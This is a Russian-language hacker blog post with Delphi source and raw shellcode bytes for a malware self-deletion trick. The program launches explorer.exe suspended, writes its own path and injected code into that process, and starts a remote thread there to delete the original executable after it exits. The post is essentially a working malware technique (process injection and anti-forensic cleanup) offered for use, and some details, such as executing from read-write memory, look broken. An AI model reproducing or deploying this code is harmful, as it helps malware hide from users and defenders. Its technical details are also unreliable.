понедельник, 11 апреля 2016 г.

Извращенный селфделит


Не хотите cmd /c del тогда мы идем к вам
Один из самых хуевых способов самоудаления заключается в инжектации в чужой процесс особого шелсплоента типа:

WaitOfSingleObject,pid,-1
DeleteFile,fname
ExitProcess,0
А общий план таков:
  1. Получить PID себя
  2. Получить путь себя
  3. Открыть/создать процесс
  4. Записать в процесс путь
  5. Исполнить в процессе код
Пример:

var
    SI:TStartupInfo;
    PI:TProcessInformation;
    hModule:DWORD;
    tmpWrite:DWORD;
    hThread:DWORD;
    hProcess:DWORD;
    aSploet:Pointer;
    aModulePath:Pointer;
    aGetModuleFileName:Pointer;
    aExitProcess:Pointer;
    aDeleteFile:Pointer;
    aWaitForSingleObject:Pointer;
    sploet: array[0 .. 40] of byte =(
      $68,$FF,$FF,$FF,$FF,
      $68,$00,$00,$00,$00,
      $68,$00,$00,$00,$00,
      $5E,
      $FF,$D6,
      $68,$00,$00,$00,$00,
      $68,$00,$00,$00,$00,
      $5E,
      $FF,$D6,
      $6A,$00,
      $68,$00,$00,$00,$00,
      $5E,
      $FF,$D6
);
    ModulePath:array [0..MAX_PATH] of Char;
begin
  hProcess:=OpenProcess(PROCESS_ALL_ACCESS,True,GetCurrentProcessId);
  GetModuleFileName(0,ModulePath,MAX_PATH);
  hModule:=GetModuleHandle('KERNEL32.DLL');
  aExitProcess:=GetProcAddress(hModule,'ExitProcess');
  aDeleteFile:=GetProcAddress(hModule,'DeleteFileA');
  aWaitForSingleObject:=GetProcAddress(hModule,'WaitForSingleObject');
  CreateProcess(0,'explorer.exe',nil,nil,True, CREATE_SUSPENDED,nil,nil,SI,PI);
  aSploet:=VirtualAllocEx(PI.hProcess,0,Length(sploet),MEM_COMMIT,PAGE_READWRITE);
  aModulePath:=VirtualAllocEx(PI.hProcess,0,SizeOf(ModulePath),MEM_COMMIT,PAGE_READWRITE);
  WriteProcessMemory(PI.hProcess,aModulePath,@ModulePath,SizeOf(ModulePath),tmpWrite);
  asm
    pusha
    lea esi,sploet
    push hProcess
    pop [esi+6]
    push aWaitForSingleObject
    pop [esi+11]
    push aModulePath
    pop [esi+19]
    push aDeleteFile
    pop [esi+24]
    push aExitProcess
    pop [esi+34]
    popa
  end;
  WriteProcessMemory(PI.hProcess,aSploet,@sploet,sizeof(Sploet),tmpWrite);
  CreateRemoteThread(PI.hProcess,0,0,aSploet,0,0,hThread);
  MessageBox(0,’ visit:thehukker.blogspot.ru’,0,0);
end.

2 комментария: